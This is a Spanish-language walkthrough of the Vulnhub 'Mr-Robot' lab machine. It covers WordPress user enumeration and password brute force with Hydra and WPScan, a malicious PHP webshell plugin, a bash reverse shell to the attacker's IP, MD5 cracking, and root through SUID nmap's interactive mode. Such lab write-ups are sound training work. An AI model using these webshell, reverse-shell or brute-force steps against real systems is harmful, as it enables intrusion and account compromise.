Mr-Robot – Vulnhub Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: Vulnhub

‘Mr-Robot’ Avatar


Resumen Link to heading

Mr-Robot es una máquina de dificultad fácil (y gratis), utilizando Linux, de la plataforma Vulnhub. Luego de un scan inicial sobre los puertos TCP ports, éste nos muestra que la máquina víctima esta corriendo un servidor web. Gracias a un rápido análisis de directorios, notamos que este sitio web está utilizando el gestor de contenido WordPress. Dado que Wordpress muestra distintos mensajes en intentos de logueo que varían en si un usuario existe o no (incluso si se usa una contraseña incorrecta), podemos aprovechar estos mensajes de error para buscar por usuarios que sí existen utilizando un diccionario previamente hallado en la máquina víctima. Una vez encontrado un usuario podemos volver a utilizar el diccionario encontrado para encontrar también la contraseña de este usuario y así obtener credenciales válidas para entrar en el panel de WordPress. Una vez dentro de este panel, somos capaces de agregar un plugin malicioso propio a WordPress, el cual nos permite ganar acceso inicial a la máquina víctima. Ya hecha la intrusión, somos capaces de encontrar un hash de un usuario y crackearlo a través de un Bruteforce Password Cracking utilizando el diccionario rockyou.txt; para así pivotear a este nuevo usuario. Finalmente, vemos que hay un archivo SUID cuyo propietario es root el cual es inusual y puede ser abusado para ganar así acceso como el usuario root.


User / Usuario Link to heading

Empezando un scan con Nmap buscando puertos TCP abiertos muestra lo siguiente:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.120

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:02 -04
Initiating ARP Ping Scan at 01:02
Scanning 10.20.1.120 [1 port]
Completed ARP Ping Scan at 01:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:02
Scanning 10.20.1.120 [65535 ports]
Discovered open port 443/tcp on 10.20.1.120
Discovered open port 80/tcp on 10.20.1.120
Completed SYN Stealth Scan at 01:03, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.20.1.120
Host is up, received arp-response (0.00038s latency).
Scanned at 2024-08-13 01:02:38 -04 for 26s
Not shown: 65532 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
80/tcp  open  http    syn-ack ttl 64
443/tcp open  https   syn-ack ttl 64
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)

Del scan anterior puedo ver 2 puertos abiertos: 80 HTTP y 443 HTTPs:

❯ sudo nmap -sVC -p80,443 10.20.1.120 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:06 -04
Nmap scan report for 10.20.1.120
Host is up (0.00038s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds

Usando WhatWeb sobre el sitio web muestra lo siguiente:

❯ whatweb -a3 http://10.20.1.120

http://10.20.1.120 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.20.1.120], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]

de donde, tristemente, no puedo ver mucha info de utilidad.

Visitando http://10.120.1.120 (la IP de la máquina víctima) muestra un simple mensaje:

MrRobot 1

Allí puedo ver que la página deja seleccionar múltiples “comandos” como opciones. Seleccionar cada una de ellas muestra distintos posts y videos sobre la serie “Mr. Robot”. En este punto decido buscar por directorios a través de un Brute Force Directory Listing (listar directorios por fuerza bruta) con la herramienta Gobuster usando un diccionario de SecLists:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.120 -x php,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.20.1.120
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 234] [--> http://10.20.1.120/images/]
/index.php            (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/blog                 (Status: 301) [Size: 232] [--> http://10.20.1.120/blog/]
/rss                  (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/sitemap              (Status: 200) [Size: 0]
/login                (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.20.1.120/0/]
/feed                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/video                (Status: 301) [Size: 233] [--> http://10.20.1.120/video/]
/image                (Status: 301) [Size: 0] [--> http://10.20.1.120/image/]
/atom                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/atom/]
/wp-content           (Status: 301) [Size: 238] [--> http://10.20.1.120/wp-content/]
/admin                (Status: 301) [Size: 233] [--> http://10.20.1.120/admin/]
/audio                (Status: 301) [Size: 233] [--> http://10.20.1.120/audio/]
/intro                (Status: 200) [Size: 516314]
/wp-login             (Status: 200) [Size: 2657]
/wp-login.php         (Status: 200) [Size: 2657]
/css                  (Status: 301) [Size: 231] [--> http://10.20.1.120/css/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/license              (Status: 200) [Size: 309]
/license.txt          (Status: 200) [Size: 309]
/wp-includes          (Status: 301) [Size: 239] [--> http://10.20.1.120/wp-includes/]
/js                   (Status: 301) [Size: 230] [--> http://10.20.1.120/js/]
/wp-register.php      (Status: 301) [Size: 0] [--> http://10.20.1.120/wp-login.php?action=register]
/Image                (Status: 301) [Size: 0] [--> http://10.20.1.120/Image/]
/wp-rss2.php          (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/rdf                  (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/rdf/]
/page1                (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-admin/]
/%20                  (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/wp-admin             (Status: 301) [Size: 236] [--> http://10.20.1.120/wp-admin/]

Gracias a estos directorios noto que el sitio está corriendo con WordPress. Visitando el directorio http://10.20.1.120/wp-admin sólo lo confirma:

MrRobot 2

Adicionalmente, noto que existe un archivo robots.txt. Revisando ésta con cURL en consola nos muestra:

❯ curl -s http://10.20.1.120/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

donde puedo ver 2 potenciales archivos: fsocity.dic y key-1-of-3.txt.

Si chequeo http://10.20.1.120/fsocity.dic noto que este es un archivo con muchísimas palabras. Podemos visitar esta dirección url a través de un browser de internet como Firefox y se nos descargará este archivo. Me doy cuenta de que este archivo tiene unas 858 160 líneas/palabras:

❯ cat fsocity.dic | wc -l

858160

El archivo key-1-of-3.txt muestra un texto:

❯ curl -s http://10.20.1.120/key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

el cual no es más que la primera “flag” de esta máquina.

Y en este punto, y dado que el sitio web está usando WordPress, devido usar la herramienta WPScan contra éste. Primero, escandeando por plugins:

❯ wpscan -e ap --plugins-detection aggressive --url http://10.20.1.120 -t 40
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://10.20.1.120/ [10.20.1.120]
[+] Started: Tue Aug 13 01:36:17 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.20.1.120/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.20.1.120/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] The external WP-Cron seems to be enabled: http://10.20.1.120/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.20.1.120/0a0fd7f.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.20.1.120/0a0fd7f.html, Match: 'WordPress 4.3.1'

[+] WordPress theme in use: twentyfifteen
 | Location: http://10.20.1.120/wp-content/themes/twentyfifteen/
 | Last Updated: 2023-11-07T00:00:00.000Z
 | Readme: http://10.20.1.120/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 3.6
 | Style URL: http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:29:34 <=====================================================================================> (104860 / 104860) 100.00% Time: 00:29:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.20.1.120/wp-content/plugins/akismet/
 | Latest Version: 5.3.1
 | Last Updated: 2024-01-17T22:32:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.20.1.120/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

<SNIP>

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Aug 13 02:06:24 2024
[+] Requests Done: 104918
[+] Cached Requests: 55
[+] Data Sent: 27.47 MB
[+] Data Received: 33.071 MB
[+] Memory used: 434.199 MB
[+] Elapsed time: 00:30:06

de donde veo algunos plugins que nos podrían ser útiles si es que están desactualizados y presentan vulnerabilidades.

Recuerdo también que versiones de WordPress más antiguas muestran el mensaje Invalid username cuando proveemos un usuario que no existe en el directorio /wp-login. Pero si el usuario existe, incluso si la contraseña de éste no es correcta, el mensaje que se muestra es otro. Por ejemplo, si probamos con un usuario que sabemos que no existe tendremos en http://10.20.1.120/wp-login:

MrRobot 4

Mientras que, como se dijo, si un usuario existe, pero la contraseña proveída no es correcta, usualmente no obtenemos este mensaje. Podemos jugar con esta respuesta de la página web usando Hydra tratando de encontrar usuario por “fuerza bruta” sólo basándonos en el texto Invalid username y el diccionario hallado previamente gracias a robots.txt. Noto que hay algunas líneas duplicadas en el archivo fsocity.dic, de manera que guardamos todas aquellas líneas que no estén repetidas/sean únicas en un nuevo archivo:

❯ sort -u fsocity.dic > sorted_fsocity.dic

Realizar este pequeño paso, sobre todo si se trabaja con fuerza bruta, nos ahorrará un montón de tiempo. Esto dado que pasamos de casi 800 000 líneas a tan sólo 11 000:

❯ cat sorted_fsocity.dic | wc -l

11451

Para ver cuál es la petición que se envía al servidor cuando hacemos una petición de logueo por /wp-login.php es que intercepto la petición usando Burpsuite. Intercepto la petición enviada luego de probar con el usuario user y la contraseña password. Realizando esto tenemos:

MrRobot 3

POST /wp-login.php HTTP/1.1
Host: 10.20.1.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://10.20.1.120
DNT: 1
Connection: close
Referer: http://10.20.1.120/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=user&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.20.1.120%2Fwp-admin%2F&testcookie=1

donde la parte importante es la data de la petición POST que se encuentra en la parte inferior del texto anterior. También me doy cuenta que si sólo envío como datos:

log=<user>&pwd=<password>

la petición HTTP interceptada también funciona.

Ahora usaremos Hydra. Queremos realizar peticiones HTTP hasta que la respuesta del servidor NO contenga el string Invalid username. Podemos hacer esto corriendo:

❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"  -V -F

donde:

  1. -L es un archivo conteniendo los potenciales usuarios. En este caso es el archivo fsocity.dic que no contiene líneas repetidas.
  2. -p es una contraseña random con la que intentamos loguearnos al panel de login de WordPress.
  3. http-post-form es el método a usar por Hydra para performar el ataque de fuerza bruta.
  4. "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" es la data por método POST a mandar al servidor. Primero especificamos la ruta /wp.login.php. Luego de los primeros dos puntos :, especificamos la data a enviar por método POST; la variable^USER^ será reemplazada por los valores que se encuentran en cada línea del archivo pasado con la flag -L, mientras que ^PASS^ será reemplazado con el valor proveído a través de la flag -p. Luego de los segundos dos puntos : ponemos el texto que NO queremos que esté presente en la respuesta del servidor.
  5. -V es para activar la opción de verbose y así ver las peticiones enviadas.
  6. -F da la opción de que cuando Hydra tenga un código exitoso entonces pare las iteraciones y detenga el programa.

Luego de un tiempo de correr esto encontramos algo:

❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F

<SNIP>
[ATTEMPT] target 10.20.1.120 - login "emails" - pass "testrandompassword" - 5487 of 11452 [child 15] (0/0)
[ATTEMPT] target 10.20.1.120 - login "embed" - pass "testrandompassword" - 5488 of 11452 [child 7] (0/0)
[80][http-post-form] host: 10.20.1.120   login: elliot   password: testrandompassword
[STATUS] attack finished for 10.20.1.120 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 03:21:00

de donde tenemos un usuario: elliot Tal cual se mencionó anteriormente, si ponemos el usuario elliot y una contraseña cualquiera en /wp-login.php el mensaje de error es diferente:

MrRobot 5

Ahora, puedo usar este usuario para intentar un Brute Force Password Login (intentar loguearnos por fuerza bruta). Para esto utilizaré de nuevo la herramienta WPScan y el diccionario con las palabras no repetidas como intento de contraseña:

❯ wpscan --password-attack xmlrpc -t 20 -U elliot -P sorted_fsocity.dic --url http://10.20.1.120

<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / escape Time: 00:01:58 <==============================                                                                > (5640 / 17091) 32.99%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: elliot, Password: ER28-0652

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Aug 13 03:25:40 2024
[+] Requests Done: 5813
[+] Cached Requests: 6
[+] Data Sent: 2.883 MB
[+] Data Received: 3.8 MB
[+] Memory used: 311.969 MB
[+] Elapsed time: 00:02:09

donde encontramos credenciales válidas: elliot:ER28-0652

Usando estas credenciales en el directorio /wp-login funciona y podemos acceder al panel de WordPress:

Mr Robot

Ahora el plan es tratar de inyectar código malicioso en archivos editables que podamos tener o ver si podemos instalar/crear archivos. Para esto podemos clickear en la opción Plugins al lado izquierdo y luego en Add New. Si realizamos esto deberíamos ver algo como lo siguiente:

MrRobot 7

Ahora decido crear un plugin PHP “malicioso” en un archivo que llamaré CMD.php con el siguiente código:

<?php
 /*
 Plugin Name: CMD Plugin
 Version: 1.0.0
 Author: gunzf0x
 Author URI: wordpress.org
 License: GPL2
 */
system($_REQUEST["CMD"]);
?>

y lo comprimo en un archivo .zip el cual llamaré webshell.zip corriendo en mi máquina:

❯ zip webshell.zip CMD.php

  adding: CMD.php (deflated 8%)

De vuelta al portal de WordPress, clickeo en el botón Upload Plugin en la parte superior del sitio web y selecciono mi archivo .zip malicioso. Ahora deberíamos ver algo como lo siguiente:

MrRobot 8

y clickeamos en Install Now.

Si esto funcionó ahora deberíamos ver:

MrRobot 9

donde dice que nuestro plugin ha sido instalado exitosamente.

Dado que mi plugin se llama webshell con un archivo CMD.php dentro de éste, éste debería de estar localizado en la ruta /wp-content/plugins/webshell por defecto de WordPress (donde se almacenan los plugins). Si chequeo con cURL si este archivo existe:

❯ curl -I http://10.20.1.120/wp-content/plugins/webshell/CMD.php

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 03:52:15 GMT
Server: Apache
X-Powered-By: PHP/5.5.29
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0, no-cache
Content-Type: text/html; charset=UTF-8

vemos que nuestro plugin malicioso está allí.

Chequeamos si podemos correr código remotamente usando cURL también. Por ejemplo, si queremos correr el comando id:

❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=id'

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Me preparo para entablar una reverse shell poniéndome en escucha con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

y me envío una reverse shell usando cURL a través del plugin malicioso:

❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.20.1.115/443 0>&1"'

donde 10.20.1.115 es mi IP de atacante y 443 es el puerto en el cual ya me encuentro en escucha con netcat.

Así es como obtenemos una shell como el usuario daemon:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.115] from (UNKNOWN) [10.20.1.120] 58162
bash: cannot set terminal process group (1715): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/webshell$ whoami

daemon

Noto que hay un usuario llamado robot en la máquina:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home

total 12
drwxr-xr-x  3 root root 4096 Nov 13  2015 .
drwxr-xr-x 22 root root 4096 Sep 16  2015 ..
drwxr-xr-x  2 root root 4096 Nov 13  2015 robot

y dentro de su directorio home puedo ver un archivo que se ve prometedor:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home/robot

total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

llamado password.raw-md5.

Leyendo este archivo nos muestra un hash:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

Guardo este hash y nombre de usuario en un archivo llamado robot_hash (simplemente copio el contenido del archivo encontrado y lo guardo en mi máquina de atacante en otro archivo) e intento performar un Brute Force Password Cracking (crackear contraseñas por fuerza bruta) con JohnTheRipper (john). Uso, además, la herramienta hash-identifier para identificar el tipo de hash; el cual nos muestra que es un hash de tipo MD5:

❯ hash-identifier

   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: c3fcd3d76192e4007dfb496cca67e13b

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

Por ello usamos el formato Raw-MD5 para john. Es así como intentamos crackear la contraseña usando el diccionario rockyou.txt (descargable desde este link):

❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot_hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-08-13 04:20) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

De esta forma encontramos nuevas credenciales: robot:abcdefghijklmnopqrstuvwxyz

Dado que no tenemos ningún servicio para acceder a la máquina víctima (como SSH), es que decido pivotear internamente al usuario robot utilizando la contraseña crackeada:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su robot

Password:

robot@linux:/opt/bitnami/apps/wordpress/htdocs$ whoami

robot

Donde podemos leer la segunda flag de usuario en el directorio /home/robot:

robot@linux:~$ cat /home/robot/key-2-of-3.txt

822c73956184f694993bede3eb39f959

Root Link to heading

Finalmente, buscando por archivos SUID cuyo propietario sea root:

robot@linux:~$ find / -perm -4000 2>/dev/null

/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

tenemos que /usr/local/bin/nmap es uno que no es muy común.

Basados en GTFOBins para Nmap, las versiones de Nmap que tienen la opción --interactive son desde la 2.02 a la 5.21. Si revisamos qué versión de Nmap es la que tiene instalada la máquina víctima tenemos:

robot@linux:~$ /usr/local/bin/nmap -V

nmap version 3.81 ( http://www.insecure.org/nmap/ )

La versión es 3.81, por lo que deberíamos de tener esta opción interactiva con Nmap.

Es así como podemos usar Nmap en modo interactivo e invocar una shell tal cual se indica en GTFOBins:

robot@linux:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

nmap> !/bin/sh

# whoami

root

Donde hemos corrido el comando !/bin/sh dentro de la opción interactiva de Nmap para spawnear una shell. ¡Y eso es todo!

Podemos leer la última key/flag:

# cat /root/key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4

~Happy Hacking